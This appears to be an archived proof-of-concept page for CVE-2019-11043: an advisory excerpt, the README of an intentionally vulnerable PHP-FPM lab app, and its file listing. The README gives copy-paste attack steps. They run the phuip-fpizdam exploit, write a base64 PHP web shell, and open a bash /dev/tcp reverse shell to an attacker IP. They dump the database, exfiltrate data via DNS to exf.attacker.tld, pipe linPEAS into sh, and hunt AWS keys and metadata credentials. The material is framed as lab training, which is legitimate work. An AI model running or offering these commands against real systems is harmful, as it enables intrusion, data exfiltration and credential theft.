Associated Vulnerability
Title:PHP 缓冲区错误漏洞 (CVE-2019-11043)Description:PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响:PHP 7.1.33之前版本的7.1.x版本,7.2.24之前版本的7.2.x版本,7
Readme
# Task Management APP (CVE-2019-11043 Lab)
Minimal PHP app with intentionally vulnerable Nginx/PHP-FPM setup for reproducing CVE-2019-11043. Includes a tiny task manager, login/admin, and DB config UI.
## Build & Run (Docker)
```bash
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
```
## Exploit Quickstart
Use `phuip-fpizdam` against `status.php`, let it detect params, then rerun with `--skip-detect`.
```bash
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
```
## Database Support
The app supports **both SQLite and MySQL** with automatic detection:
### SQLite (Default)
- **DSN**: `sqlite:/var/www/html/data/app.sqlite`
- **No authentication required**
- **Automatic setup** - database file created on first run
- **Perfect for development and testing**
### MySQL (Optional)
- **DSN**: `mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4`
- **Requires username/password authentication**
- **Environment variable override** for Kubernetes deployments
### Environment Variables
When these environment variables are set, they automatically override the DSN:
- `DB_HOST` - Database hostname
- `DB_PORT` - Database port (default: `3306`)
- `DB_NAME` - Database name
- `DB_USER` - Database username
- `DB_PASS` - Database password
### Automatic Migrations
- The app runs migrations on-demand from requests (e.g., `index.php`, `login.php`, `admin.php`).
- K8s probes hit `/health.php`, which also verifies DB connectivity.
- No external migration job or local PHP is required.
## Kubernetes (EKS) Deployment
Manifests are under `k8s/`:
- `k8s/secret.yaml`: MySQL credentials (stringData placeholders)
- `k8s/mysql-deployment.yaml`: MySQL Deployment + Service
- `k8s/app-deployment.yaml`: App Deployment (privileged) + Service; mounts secret and sets DB env vars
- `k8s/ingress.yaml`: Nginx Ingress routing to the app
Image placeholder uses `quay.io` – change `quay.io/your-org/cve-2019-11043-lab:app` to your repo.
Apply order:
```bash
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
```
Ingress assumes an Nginx Ingress Controller and `taskapp.local` DNS/hosts pointing to its address.
## Project Structure
- `public/`: web root (entrypoints)
- `app/`: app helpers (config, db, auth, version)
- `php/`: PHP-FPM ini overrides
- `k8s/`: Kubernetes manifests
- `data/`: runtime data (SQLite db, config)
## Default Admin
Login at `/login.php` using `admin` / `admin` (UI hint hidden by CSS).
## Database Configuration UI
Access `/db_config.php` as admin to:
- View current database status and type
- Switch between SQLite and MySQL
- Configure connection parameters
- See connection examples for both database types
## Disclaimer
This is an intentionally vulnerable environment. Do not expose to untrusted networks.
## Multi-platform image build (Buildx)
Build and push a multi-arch image (linux/amd64, linux/arm64) to `quay.io`.
Prereqs: Docker Buildx (Docker Desktop includes it). Optional QEMU emulation: `docker run --privileged --rm tonistiigi/binfmt --install all`.
```bash
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
```
## End-to-end with phuip-fpizdam (copy/paste)
Set targets:
```bash
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
```
Exploit (auto-detect, then final run):
```bash
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
```
Drop a tiny web shell and verify exec:
```bash
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
```
Continue with Post-Exploitation Lab Exercises below for reverse shell, MySQL dump, DNS TXT exfil, linPEAS, and AWS keys search.
## Post-Exploitation Lab Exercises (for this lab only)
These steps are for educational use in this lab environment only.
Set your base URL and attacker IP:
```bash
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
```
### 1) Get command execution and drop a simple web shell
After you exploit CVE-2019-11043 with `phuip-fpizdam`, use the RCE primitive to write a tiny web shell. If you already have a shell inside the container, run:
```bash
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
```
If you only have RCE (no shell), run the same base64 write via the RCE primitive (e.g., through the exploit tool).
Validate:
```bash
curl -s "$BASE/sh.php?c=whoami"
```
### 2) whoami
```bash
curl -s "$BASE/sh.php?c=whoami"
```
### 3) Reverse shell attempt (bash /dev/tcp)
On your attacker host:
```bash
nc -lvnp "$ATTACKER_PORT"
```
Trigger from the target (URL-encoded command):
```bash
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```
If `bash` is unavailable, try:
```bash
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```
### 4) MySQL backup (dump)
Option A (cluster operator path):
```bash
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
```
Option B (via web shell using PHP PDO): write a quick dumper script that uses the app config:
```bash
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
```
### 5) Exfiltrate via DNS TXT (toy example)
Point a test domain you control (e.g., `exf.attacker.tld`) to a nameserver you capture on (e.g., `dnschef` or `bind`). Then from the target, trigger DNS lookups carrying chunks:
```bash
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
```
Observe queries on your nameserver; reconstruct from labels.
### 6) Pull and run linPEAS (priv-esc enumeration)
```bash
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
### 7) Search for AWS keys
```bash
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
```
Again: only perform these within this lab. Never test against systems you don’t own or have explicit permission to assess.
File Snapshot
[4.0K] /data/pocs/a7d99a84393b7ae661d8ca8692ab68654024ef0a
├── [4.0K] app
│ ├── [1.2K] auth.php
│ ├── [1.4K] config.php
│ ├── [2.0K] db.php
│ ├── [ 524] init_db.php
│ └── [ 65] version.php
├── [4.0K] data
├── [1.6K] Dockerfile
├── [4.0K] k8s
│ ├── [2.3K] app-deployment.yaml
│ ├── [ 565] ingress.yaml
│ ├── [1.5K] mysql-deployment.yaml
│ └── [ 241] secret.yaml
├── [1.1K] nginx.conf
├── [4.0K] php
│ ├── [ 21] zz-cgi.ini
│ └── [ 15] zz-expose.ini
├── [4.0K] public
│ ├── [2.4K] admin.php
│ ├── [4.0K] assets
│ │ └── [2.6K] styles.css
│ ├── [3.3K] db_config.php
│ ├── [ 525] health.php
│ ├── [1.2K] index.php
│ ├── [ 542] info.php
│ ├── [1.4K] login.php
│ ├── [ 130] logout.php
│ └── [ 854] status.php
└── [8.0K] README.md
6 directories, 23 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.